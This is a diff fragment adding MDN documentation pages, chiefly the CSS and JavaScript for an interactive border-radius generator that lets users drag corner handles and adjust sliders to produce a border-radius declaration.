+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+	width: 90px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+	width: 16px;
+	cursor: pointer;
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 5px;
+	color: #FFF;
+	font-weight: bold;
+	line-height: 14px;
+	text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+/*
+ * UI Component
+ */
+
+/* Checkbox */
+
+.ui-checkbox {
+	text-align: center;
+	font-size: 16px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	line-height: 1.5em;
+	color: #FFF;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-checkbox &gt; input {
+ 	display: none;
+}
+
+.ui-checkbox &gt; label {
+	font-size: 12px;
+	padding: 0.333em 1.666em 0.5em;
+	height: 1em;
+	line-height: 1em;
+
+	background-color: #888;
+	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	color: #FFF;
+	border-radius: 3px;
+	font-weight: bold;
+	float: left;
+}
+
+.ui-checkbox .text {
+	padding-left: 34px;
+	background-position: center left 10px;
+}
+
+.ui-checkbox .left {
+	padding-right: 34px;
+	padding-left: 1.666em;
+	background-position: center right 10px;
+}
+
+.ui-checkbox &gt; label:hover {
+	cursor: pointer;
+}
+
+.ui-checkbox &gt; input:checked + label {
+	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
+	background-color: #379B4A;
+}
+
+body {
+	max-width: 1000px;
+	margin: 0 auto;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+#container {
+	width: 100%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+/******************************************************************************/
+/******************************************************************************/
+/*
+ * Preview Area
+ */
+
+#preview {
+	height: 500px;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	text-align: center;
+	overflow: hidden;
+	position: relative;
+}
+
+#preview .content {
+	width: 100%;
+	height: 100%;
+	display: block;
+}
+
+#preview input {
+	color: #333;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+}
+
+#subject {
+	width: 400px;
+	height: 150px;
+	margin: 0 auto;
+	border: 3px solid #C60;
+	background: #FFF;
+	position: relative;
+}
+
+.radius {
+	width: 50%;
+	height: 50%;
+	border: 1px solid #CCC;
+	display: none;
+	position: absolute;
+	z-index: 1;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.handle {
+	width: 16px;
+	height: 16px;
+	position: absolute;
+	z-index: 2;
+}
+
+.handle-top-left {
+	top: -12px;
+	left: -12px;
+	cursor: se-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") top left no-repeat;
+}
+
+.handle-top-right {
+	top: -12px;
+	right: -12px;
+	cursor: sw-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") top right no-repeat;
+}
+
+.handle-bottom-right {
+	bottom: -12px;
+	right: -12px;
+	cursor: nw-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") bottom right no-repeat;
+}
+
+.handle-bottom-left {
+	bottom: -12px;
+	left: -12px;
+	cursor: ne-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") bottom left no-repeat;
+}
+
+
+.radius-container {
+	position: absolute;
+	display : block;
+	z-index: 1;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+/* TOP LEFT */
+#top-left {
+	top: 0;
+	left: 0;
+}
+
+#top-left .radius {
+	border-top-left-radius: 100%;
+	top: 0;
+	left: 0;
+}
+
+/* TOP RIGHT */
+#top-right {
+	top: 0;
+	right: 0;
+}
+
+#top-right .radius {
+	border-top-right-radius: 100%;
+	top: 0;
+	right: 0;
+}
+
+/* BOTTOM RIGHT */
+#bottom-right {
+	bottom: 0;
+	right: 0;
+}
+
+#bottom-right .radius {
+	border-bottom-right-radius: 100%;
+	bottom: 0;
+	right: 0;
+}
+
+/* BOTTOM lEFT */
+#bottom-left {
+	bottom: 0;
+	left: 0;
+}
+
+#bottom-left .radius {
+	border-bottom-left-radius: 100%;
+	bottom: 0;
+}
+
+/* INPUT SLIDERS */
+
+#preview .ui-input-slider {
+	margin: 10px;
+	position: absolute;
+	z-index: 10;
+}
+
+#radius-ui-sliders {
+	width: 100%;
+	height: 100%;
+	min-height: 75px;
+	min-width: 150px;
+	padding: 20px 50px;
+	top: -20px;
+	left: -50px;
+	position: relative;
+}
+
+#tlr {
+	top: -30px;
+	left: -50px;
+	display: none;
+}
+
+#tlw {
+	top: -30px;
+	left: 30px;
+}
+
+#tlh {
+	top: 20px;
+	left: -50px;
+}
+
+#trr {
+	top: -30px;
+	right: -50px;
+	display: none;
+}
+
+#trw {
+	top: -30px;
+	right: 30px;
+}
+
+#trh {
+	top: 20px;
+	right: -50px;
+}
+
+#brr {
+	bottom: -30px;
+	right: -50px;
+	display: none;
+}
+
+#brw {
+	bottom: -30px;
+	right: 30px;
+}
+
+#brh {
+	bottom: 20px;
+	right: -50px;
+}
+
+#blr {
+	bottom: -30px;
+	left: -50px;
+	display: none;
+}
+
+#blw {
+	bottom: -30px;
+	left: 30px;
+}
+
+#blh {
+	bottom: 20px;
+	left: -50px;
+}
+
+#preview .ui-input-slider-left, #preview .ui-input-slider-right {
+	visibility: hidden;
+}
+
+#preview .ui-input-slider-container:hover .ui-input-slider-left {
+	visibility: visible;
+}
+
+#preview .ui-input-slider-container:hover .ui-input-slider-right {
+	visibility: visible;
+}
+
+/*
+ *
+ */
+
+#unit-selection {
+	width: 200px;
+	height: 75px;
+	margin: 30px 30px 0 0;
+	padding: 30px;
+	border: 3px solid #555;
+	border-radius: 10px;
+	position: relative;
+	float: right;
+}
+
+#unit-selection .info {
+	height: 20%;
+	width: 100%;
+	line-height: 20%;
+	font-size: 20px;
+	text-align: center;
+	position: relative;
+	top: 40%;
+}
+
+#unit-selection .dropdown {
+	width: 50px;
+	height: 20px;
+	margin: 10px;
+	padding: 0;
+	border-radius: 3px;
+	position: absolute;
+	overflow: hidden;
+}
+
+#unit-selection select {
+	width: 50px;
+	height: 20px;
+	marign: 0;
+	padding: 0 0 0 10px;
+	background: #555;
+	border: 1px solid #555;
+	border: none;
+	color: #FFF;
+	float: left;
+}
+
+#unit-selection select option {
+	background: #FFF;
+	color: #333;
+}
+
+#unit-selection select:hover {
+	cursor: pointer;
+}
+
+#unit-selection .dropdown:before {
+	content: "";
+	width: 18px;
+	height: 20px;
+	display: block;
+	background-color: #555;
+	background-image: url("https://mdn.mozillademos.org/files/5675/dropdown.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+	top: 0px;
+	right: 0px;
+	position: absolute;
+	z-index: 1;
+	pointer-events: none;
+}
+
+#unit-selection .unit-top-left {
+	top: 0;
+	left: 0;
+	display: none;
+}
+
+#unit-selection .unit-top-left-w {
+	top: -22px;
+	left: 30px;
+}
+
+#unit-selection .unit-top-left-h {
+	top: 20px;
+	left: -37px;
+}
+
+#unit-selection .unit-top-right {
+	top: 0;
+	right: 0;
+	display: none;
+}
+
+#unit-selection .unit-top-right-w {
+	top: -22px;
+	right: 30px;
+}
+
+#unit-selection .unit-top-right-h {
+	top: 20px;
+	right: -37px;
+}
+
+#unit-selection .unit-bottom-right {
+	bottom: 0;
+	right: 0;
+	display: none;
+}
+
+#unit-selection .unit-bottom-right-w {
+	bottom: -22px;
+	right: 30px;
+}
+
+#unit-selection .unit-bottom-right-h {
+	bottom: 20px;
+	right: -37px;
+}
+
+#unit-selection .unit-bottom-left {
+	bottom: 0;
+	left: 0;
+	display: none;
+}
+
+#unit-selection .unit-bottom-left-w {
+	bottom: -22px;
+	left: 30px;
+}
+
+#unit-selection .unit-bottom-left-h {
+	bottom: 20px;
+	left: -37px;
+}
+
+/******************************************************************************/
+/******************************************************************************/
+
+
+#radius-lock {
+	width: 200px;
+	height: 75px;
+	margin: 30px 0 0 30px;
+	padding: 30px;
+	border: 3px solid #555;
+	border-radius: 10px;
+	position: relative;
+	float: left;
+}
+
+#radius-lock .ui-checkbox {
+	color: #FFF;
+	position: absolute;
+}
+
+#radius-lock .ui-checkbox &gt; label {
+	height: 20px;
+	width: 34px;
+	padding: 0;
+}
+
+#radius-lock .info {
+	height: 20%;
+	width: 100%;
+	line-height: 20%;
+	font-size: 20px;
+	text-align: center;
+	position: relative;
+	top: 40%;
+}
+
+#radius-lock [data-topic="top-left"] {
+	top: 10px;
+	left: 10px;
+}
+
+#radius-lock [data-topic="top-right"] {
+	top: 10px;
+	right: 10px;
+}
+
+#radius-lock [data-topic="bottom-right"] {
+	bottom: 10px;
+	right: 10px;
+}
+
+#radius-lock [data-topic="bottom-left"] {
+	bottom: 10px;
+	left: 10px;
+}
+
+/**
+ * Controls
+ */
+
+#dimensions {
+	width: 200px;
+	color: #444;
+	float:left;
+}
+
+#dimensions input {
+	background: #555;
+	color: #FFF;
+	border: none;
+	border-radius: 3px;
+}
+
+#output {
+	width: 500px;
+	padding: 10px 0;
+	margin: 10px 0;
+	color: #555;
+	text-align: center;
+	border: 1px dashed #999;
+	border-radius: 3px;
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+	user-select: text;
+
+	float: right;
+}
+
+
+</pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js"><code class="language-js">'use strict';
+
+
+/**
+ * UI-InputSliderManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var InputComponent = function InputComponent(obj) {
+		var input = document.createElement('input');
+		input.setAttribute('type', 'text');
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			var value = parseInt(e.target.value);
+
+			if (isNaN(value) === true)
+				setValue(obj.topic, obj.value);
+			else
+				setValue(obj.topic, value);
+		});
+
+		subscribe(obj.topic, function(value) {
+			input.value = value + obj.unit;
+		});
+
+		return input;
+	}
+
+	var SliderComponent = function SliderComponent(obj, sign) {
+		var slider = document.createElement('div');
+		var startX = null;
+		var start_value = 0;
+
+		slider.addEventListener("click", function(e) {
+			setValue(obj.topic, obj.value + obj.step * sign);
+		});
+
+		slider.addEventListener("mousedown", function(e) {
+			startX = e.clientX;
+			start_value = obj.value;
+			document.body.style.cursor = "e-resize";
+			document.addEventListener("mousemove", sliderMotion);
+		});
+
+		document.addEventListener("mouseup", function(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			document.body.style.cursor = "auto";
+			slider.style.cursor = "pointer";
+		});
+
+		var sliderMotion = function sliderMotion(e) {
+			slider.style.cursor = "e-resize";
+			var delta = (e.clientX - startX) / obj.sensivity | 0;
+			var value = delta * obj.step + start_value;
+			setValue(obj.topic, value);
+		}
+
+		return slider;
+	}
+
+	var InputSlider = function(node) {
+		var min		= node.getAttribute('data-min') | 0;
+		var max		= node.getAttribute('data-max') | 0;
+		var step	= node.getAttribute('data-step') | 0;
+		var value	= node.getAttribute('data-value') | 0;
+		var topic	= node.getAttribute('data-topic');
+		var unit	= node.getAttribute('data-unit');
+		var name 	= node.getAttribute('data-info');
+		var sensivity = node.getAttribute('data-sensivity') | 0;
+
+		this.min = min;
+		this.max = max &gt; 0 ? max : 100;
+		this.step = step === 0 ? 1 : step;
+		this.topic = topic;
+		this.node = node;
+		this.unit = unit;
+		this.sensivity = sensivity &gt; 0 ? sensivity : 5;
+
+		var input = new InputComponent(this);
+		var slider_left  = new SliderComponent(this, -1);
+		var slider_right = new SliderComponent(this,  1);
+
+		slider_left.className = 'ui-input-slider-left';
+		slider_right.className = 'ui-input-slider-right';
+
+		if (name) {
+			var info = document.createElement('span');
+			info.className = 'ui-input-slider-info';
+			info.textContent = name;
+			node.appendChild(info);
+		}
+
+		node.appendChild(slider_left);
+		node.appendChild(input);
+		node.appendChild(slider_right);
+		node.className = 'ui-input-slider ui-input-slider-container';
+
+		this.input = input;
+		sliders[topic] = this;
+		setValue(topic, value);
+	}
+
+	var setValue = function setValue(topic, value, send_notify) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		if (value &gt; slider.max) value = slider.max;
+		if (value &lt; slider.min)	value = slider.min;
+
+		slider.value = value;
+		slider.node.setAttribute('data-value', value);
+
+		if (send_notify !== undefined &amp;&amp; send_notify === false) {
+			slider.input.value = value + slider.unit;
+			return;
+		}
+
+		notify.call(slider);
+	}
+
+	var setMax = function setMax(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.max = value;
+		setValue(topic, slider.value);
+	}
+
+	var setMin = function setMin(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.min = value;
+		setValue(topic, slider.value);
+	}
+
+	var setUnit = function setUnit(topic, unit) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.unit = unit;
+		setValue(topic, slider.value);
+	}
+
+	var getNode =  function getNode(topic) {
+		return sliders[topic].node;
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		for (var i in subscribers[this.topic]) {
+			subscribers[this.topic][i](this.value);
+		}
+	}
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-input-slider');
+		var size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new InputSlider(elem[i]);
+	}
+
+	return {
+		init : init,
+		setMax : setMax,
+		setMin : setMin,
+		setUnit : setUnit,
+		getNode : getNode,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+/**
+ * UI-ButtonManager
+ */
+
+var ButtonManager = (function CheckBoxManager() {
+
+	var subscribers = [];
+	var buttons = [];
+
+	var CheckBox = function CheckBox(node) {
+		var topic = node.getAttribute('data-topic');
+		var state = node.getAttribute('data-state');
+		var name = node.getAttribute('data-label');
+		var align = node.getAttribute('data-text-on');
+
+		state = (state === "true");
+
+		var checkbox = document.createElement("input");
+		var label = document.createElement("label");
+
+		var id = 'checkbox-' + topic;
+		checkbox.id = id;
+		checkbox.setAttribute('type', 'checkbox');
+		checkbox.checked = state;
+
+		label.setAttribute('for', id);
+		if (name) {
+			label.className = 'text';
+			if (align)
+				label.className += ' ' + align;
+			label.textContent = name;
+		}
+
+		node.appendChild(checkbox);
+		node.appendChild(label);
+
+		this.node = node;
+		this.topic = topic;
+		this.checkbox = checkbox;
+
+		checkbox.addEventListener('change', function(e) {
+			notify.call(this);
+		}.bind(this));
+
+		buttons[topic] = this;
+	}
+
+	var getNode =  function getNode(topic) {
+		return buttons[topic].node;
+	}
+
+	var setValue = function setValue(topic, value) {
+		try {
+			buttons[topic].checkbox.checked = value;
+		}
+		catch(error) {
+			console.log(error);
+		}
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		for (var i = 0; i &lt; subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.checkbox.checked);
+	}
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-checkbox');
+		var size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new CheckBox(elem[i]);
+	}
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+
+window.addEventListener("load", function() {
+	BorderRadius.init();
+});
+
+var BorderRadius = (function BorderRadius() {
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	/**
+	 * Shadow dragging
+	 */
+	var PreviewMouseTracking = (function Drag() {
+		var active = false;
+		var lastX = 0;
+		var lastY = 0;
+		var subscribers = [];
+
+		var init = function init(id) {
+			var elem = getElemById(id);
+			elem.addEventListener('mousedown', dragStart, false);
+			document.addEventListener('mouseup', dragEnd, false);
+		}
+
+		var dragStart = function dragStart(e) {
+			if (e.button !== 0)
+				return;
+
+			active = true;
+			lastX = e.clientX;
+			lastY = e.clientY;
+			document.addEventListener('mousemove', mouseDrag, false);
+		}
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0)
+				return;
+
+			if (active === true) {
+				active = false;
+				document.removeEventListener('mousemove', mouseDrag, false);
+			}
+		}
+
+		var mouseDrag = function mouseDrag(e) {
+			notify(e.clientX - lastX, e.clientY - lastY);
+			lastX = e.clientX;
+			lastY = e.clientY;
+		}
+
+		var subscribe = function subscribe(callback) {
+			subscribers.push(callback);
+		}
+
+		var unsubscribe = function unsubscribe(callback) {
+			var index = subscribers.indexOf(callback);
+			subscribers.splice(index, 1);
+		}
+
+		var notify = function notify(deltaX, deltaY) {
+			for (var i in subscribers)
+				subscribers[i](deltaX, deltaY);
+		}
+
+		return {
+			init : init,
+			subscribe : subscribe,
+			unsubscribe : unsubscribe
+		}
+
+	})();
+
+	var subject;
+	var units = ['px', '%'];
+	var output = null;
+
+	var UnitSelector = function UnitSelector(topic) {
+
+		this.container = document.createElement("div");
+		this.select = document.createElement("select");
+		for (var i in units) {
+			var option = document.createElement("option");
+			option.value = i;
+			option.textContent = units[i];
+			this.select.appendChild(option);
+		}
+
+		this.container.className = 'dropdown ' + 'unit-' + topic;
+		this.container.appendChild(this.select);
+	}
+
+	UnitSelector.prototype.setValue = function setValue(value) {
+		this.salect.value = value;
+	}
+
+
+	var RadiusContainer = function RadiusContainer(node) {
+		var radius = document.createElement('div');
+		var handle = document.createElement('div');
+		var x = node.getAttribute('data-x');
+		var y = node.getAttribute('data-y');
+		var active = false;
+
+		this.id = node.id;
+		this.node = node;
+		this.radius = radius;
+		this.handle = handle;
+		this.width = 100;
+		this.height = 50;
+		this.size = 0;
+		this.rounded = false;
+
+		this.unitX = 0;
+		this.unitY = 0;
+		this.unitR = 0;
+
+		this.maxW = 100;
+		this.maxH = 100;
+		this.maxR = 100;
+
+		this.topic = y + '-' + x;
+
+		var sliderW = InputSliderManager.getNode(this.topic + '-w');
+		var sliderH = InputSliderManager.getNode(this.topic + '-h');
+		var sliderR = InputSliderManager.getNode(this.topic);
+
+		this.setUnitX(this.unitX);
+		this.setUnitY(this.unitY);
+		this.setUnitR(this.unitR);
+
+		this.updateWidth();
+		this.updateHeight();
+		this.updateRadius();
+
+		if (x === 'left')	this.resizeX =  1;
+		if (x === 'right')	this.resizeX = -1;
+		if (y === 'top')	this.resizeY =  1;
+		if (y === 'bottom')	this.resizeY = -1;
+
+		radius.className = 'radius';
+
+		var unit_selector = document.getElementById("unit-selection");
+		var unitW = new UnitSelector(this.topic + '-w');
+		var unitH = new UnitSelector(this.topic + '-h');
+		var unitR = new UnitSelector(this.topic);
+
+		unit_selector.appendChild(unitW.container);
+		unit_selector.appendChild(unitH.container);
+		unit_selector.appendChild(unitR.container);
+		node.appendChild(radius);
+		subject.appendChild(handle);
+
+		unitW.select.addEventListener('change', function(e) {
+			this.setUnitX(e.target.value | 0);
+		}.bind(this));
+
+		unitH.select.addEventListener('change', function(e) {
+			this.setUnitY(e.target.value | 0);
+		}.bind(this));
+
+		unitR.select.addEventListener('change', function(e) {
+			this.setUnitR(e.target.value | 0);
+		}.bind(this));
+
+		if (x === 'left' &amp;&amp; y == 'top') handle.className = 'handle handle-top-left'
+		if (x === 'right' &amp;&amp; y == 'top') handle.className = 'handle handle-top-right';
+		if (x === 'right' &amp;&amp; y == 'bottom') handle.className = 'handle handle-bottom-right';
+		if (x === 'left' &amp;&amp; y == 'bottom') 	handle.className = 'handle handle-bottom-left';
+
+		handle.addEventListener("mousedown", function(e) {
+			active = true;
+			this.radius.style.display = 'block';
+			PreviewMouseTracking.subscribe(this.updateContainer.bind(this));
+		}.bind(this));
+
+		document.addEventListener("mouseup", function(e) {
+			this.radius.style.display = 'none';
+			if (active === true)
+				PreviewMouseTracking.unsubscribe(this.updateContainer.bind(this));
+		}.bind(this));
+
+		InputSliderManager.subscribe(this.topic + '-w', this.setWidth.bind(this));
+		InputSliderManager.subscribe(this.topic + '-h', this.setHeight.bind(this));
+		InputSliderManager.subscribe(this.topic, this.setRadius.bind(this));
+
+		ButtonManager.subscribe(this.topic, function(value) {
+			this.rounded = value;
+			if (value === true) {
+				unitW.container.style.display = 'none';
+				unitH.container.style.display = 'none';
+				unitR.container.style.display = 'block';
+				sliderW.style.display = 'none';
+				sliderH.style.display = 'none';
+				sliderR.style.display = 'block';
+				this.setUnitR(this.unitR);
+				this.updateRadius();
+			}
+
+			if (value === false) {
+				unitW.container.style.display = 'block';
+				unitH.container.style.display = 'block';
+				unitR.container.style.display = 'none';
+				sliderW.style.display = 'block';
+				sliderH.style.display = 'block';
+				sliderR.style.display = 'none';
+				this.setUnitX(this.unitX);
+				this.setUnitY(this.unitY);
+				this.updateWidth();
+				this.updateHeight();
+			}
+
+			this.updateBorderRadius();
+
+		}.bind(this));
+
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.updateWidth = function updateWidth() {
+		this.node.style.width = this.width + units[this.unitX];
+		var value = Math.round(this.width / 2);
+		InputSliderManager.setValue(this.topic + '-w', value, false);
+	}
+
+	RadiusContainer.prototype.updateHeight = function updateHeight() {
+		this.node.style.height = this.height + units[this.unitY];
+		var value = Math.round(this.height / 2);
+		InputSliderManager.setValue(this.topic + '-h', value, false);
+	}
+
+	RadiusContainer.prototype.updateRadius = function updateRadius() {
+		var value = Math.round(this.size / 2);
+		this.node.style.width = this.size + units[this.unitR];
+		this.node.style.height = this.size + units[this.unitR];
+		InputSliderManager.setValue(this.topic, value, false);
+	}
+
+	RadiusContainer.prototype.setWidth = function setWidth(value) {
+		this.radius.style.display = 'block';
+		this.width = 2 * value;
+		this.node.style.width = this.width + units[this.unitX];
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.setHeight = function setHeight(value) {
+		this.radius.style.display = 'block';
+		this.height = 2 * value;
+		this.node.style.height = this.height + units[this.unitY];
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.setRadius = function setRadius(value) {
+		this.radius.style.display = 'block';
+		this.size = 2 * value;
+		this.node.style.width = this.size + units[this.unitR];
+		this.node.style.height = this.size + units[this.unitR];
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.setUnitX = function setUnitX(value) {
+		this.unitX = value;
+		if (this.unitX === 0) this.maxW = 2 * subject.clientWidth;
+		if (this.unitX === 1) this.maxW = 200;
+		InputSliderManager.setUnit(this.topic + '-w', units[this.unitX]);
+		InputSliderManager.setMax(this.topic + '-w', this.maxW / 2);
+	}
+
+	RadiusContainer.prototype.setUnitY = function setUnitY(value) {
+		this.unitY = value;
+		if (this.unitY === 0) this.maxH = 2 * subject.clientHeight;
+		if (this.unitY === 1) this.maxH = 200;
+		InputSliderManager.setUnit(this.topic + '-h', units[this.unitY]);
+		InputSliderManager.setMax(this.topic + '-h', this.maxH / 2);
+	}
+
+	RadiusContainer.prototype.setUnitR = function setUnitR(value) {
+		this.unitR = value;
+
+		if (this.unitR === 0)
+			this.maxR = 2 * Math.min(subject.clientHeight , subject.clientWidth);
+
+		if (this.unitR === 1)
+			this.maxR = 200;
+
+		InputSliderManager.setUnit(this.topic, units[this.unitR]);
+		InputSliderManager.setMax(this.topic, this.maxR / 2);
+	}
+
+	RadiusContainer.prototype.updateUnits = function updateUnits(unit) {
+		if (this.rounded) {
+			this.setUnitR(this.unitR);
+			return;
+		}
+
+		if (unit === 0)
+			this.setUnitX(this.unitX);
+
+		if (unit === 1)
+			this.setUnitY(this.unitY);
+	}
+
+	RadiusContainer.prototype.composeBorderRadius = function composeBorderRadius () {
+
+		if (this.rounded === true) {
+			var unit = units[this.unitR];
+			var value = Math.round(this.size / 2);
+			return value + unit;
+		}
+
+		var unitX = units[this.unitX];
+		var unitY = units[this.unitY];
+		var valueX = Math.round(this.width / 2);
+		var valueY = Math.round(this.height / 2);
+
+		if (valueX === valueY &amp;&amp; this.unitX === this.unitY)
+			return valueX + unitX;
+
+		return valueX + unitX + ' ' + valueY + unitY;
+	}
+
+	RadiusContainer.prototype.updateBorderRadius = function updateBorderRadius () {
+		var radius = this.composeBorderRadius();
+		var corner = 0;
+
+		if (this.topic === 'top-left') {
+			subject.style.borderTopLeftRadius = radius;
+			corner = 0;
+		}
+
+		if (this.topic === 'top-right') {
+			subject.style.borderTopRightRadius = radius;
+			corner = 1;
+		}
+
+		if (this.topic === 'bottom-right') {
+			subject.style.borderBottomRightRadius = radius;
+			corner = 2;
+		}
+
+		if (this.topic === 'bottom-left') {
+			subject.style.borderBottomLeftRadius = radius;
+			corner = 3;
+		}
+
+		Tool.updateOutput(corner, radius);
+	}
+
+	RadiusContainer.prototype.updateContainer = function updateContainer(deltaX, deltaY) {
+
+		if (this.rounded === true) {
+			this.size += this.resizeX * deltaX + this.resizeY * deltaY;
+			if (this.size &lt; 0)	this.size = 0;
+			if (this.size &gt; this.maxR)	this.size = this.maxR;
+			this.updateRadius();
+			this.updateBorderRadius();
+			return;
+		}
+
+		if (deltaX) {
+			this.width += this.resizeX * deltaX;
+			if (this.width &lt; 0)	this.width = 0;
+			if (this.width &gt; this.maxW)	this.width = this.maxW;
+			this.updateWidth();
+		}
+
+		if (deltaY) {
+			this.height += this.resizeY * deltaY;
+			if (this.height &lt; 0) this.height = 0;
+			if (this.height &gt; this.maxH)	this.height = this.maxH;
+			this.updateHeight();
+		}
+
+		if (deltaX || deltaY)
+			this.updateBorderRadius();
+	}
+
+
+	/**
+	 * Tool Manager
+	 */
+	var Tool = (function Tool() {
+		var preview;
+		var preview_ui;
+		var radius_containers = [];
+		var border_width = 3;
+		var borders1 = [null, null, null, null];
+		var borders2 = [0, 0, 0, 0];
+
+		var updateUIWidth = function updateUIWidth(value) {
+			var pwidth = subject.parentElement.clientWidth;
+			var left = (pwidth - value) / 2;
+			subject.style.width = value + "px";
+
+			for (var i = 0; i &lt; 4; i++)
+				radius_containers[i].updateUnits(0);
+		}
+
+		var updateUIHeight = function updateUIHeight(value) {
+			var pheight = subject.parentElement.clientHeight;
+			var top = (pheight - value) / 2;
+			subject.style.height = value + "px";
+			subject.style.top = top - border_width + "px";
+
+			for (var i = 0; i &lt; 4; i++)
+				radius_containers[i].updateUnits(1);
+		}
+
+		var updatePreviewUIWidth = function updatePreviewUIWidth() {
+			var p = subject.parentElement.clientWidth;
+			var v = preview_ui.clientWidth;
+			console.log(p, v, (p - v ) / 2);
+			preview_ui.style.left = (p - v) / 2 + "px" ;
+		}
+
+		var updatePreviewUIHeight = function updatePreviewUIHeight() {
+			var p = subject.parentElement.clientHeight;
+			var v = preview_ui.clientHeight;
+			console.log(p, v, (p - v ) / 2);
+			preview_ui.style.top = (p - v) / 2 + "px" ;
+		}
+
+		var updateOutput = function updateOutput(corner, radius) {
+			var values = radius.split(" ");
+
+			borders1[corner] = values[0];
+			borders2[corner] = values[0];
+
+			if (values.length === 2)
+				borders2[corner] = values[1];
+
+			var border_1_value = borders1.join(" ");
+			var border_2_value = borders2.join(" ");
+			var border_radius = 'border-radius: ' + border_1_value;
+
+			if (border_2_value !== border_1_value)
+				border_radius += ' / ' + border_2_value;
+
+			border_radius += ';';
+			output.textContent = border_radius;
+		}
+
+		var init = function init() {
+			preview = getElemById("preview");
+			subject = getElemById("subject");
+			output = getElemById("output");
+			preview_ui = getElemById("radius-ui-sliders");
+
+			var elem = document.querySelectorAll('.radius-container');
+			var size = elem.length;
+			for (var i = 0; i &lt; size; i++)
+				radius_containers[i] = new RadiusContainer(elem[i]);
+
+			InputSliderManager.subscribe("width", updateUIWidth);
+			InputSliderManager.subscribe("height", updateUIHeight);
+
+			InputSliderManager.setValue("width", subject.clientWidth);
+			InputSliderManager.setValue("height", subject.clientHeight);
+		}
+
+		return {
+			init : init,
+			updateOutput : updateOutput
+		}
+
+	})();
+
+	/**
+	 * Init Tool
+	 */
+	var init = function init() {
+		ButtonManager.init();
+		InputSliderManager.init();
+		PreviewMouseTracking.init("preview");
+		Tool.init();
+	}
+
+	return {
+		init : init
+	}
+
+})();
+
+
+</code></pre>
+</div>
+
+<p>{{ EmbedLiveSample('border-radius-generator', '100%', '800px', '') }}</p>
+
+<p> </p>
diff --git a/files/es/web/css/css_background_and_borders/index.html b/files/es/web/css/css_background_and_borders/index.html
new file mode 100644
index 0000000000..87b26bd607
--- /dev/null
+++ b/files/es/web/css/css_background_and_borders/index.html
@@ -0,0 +1,154 @@
+---
+title: CSS Background and Borders
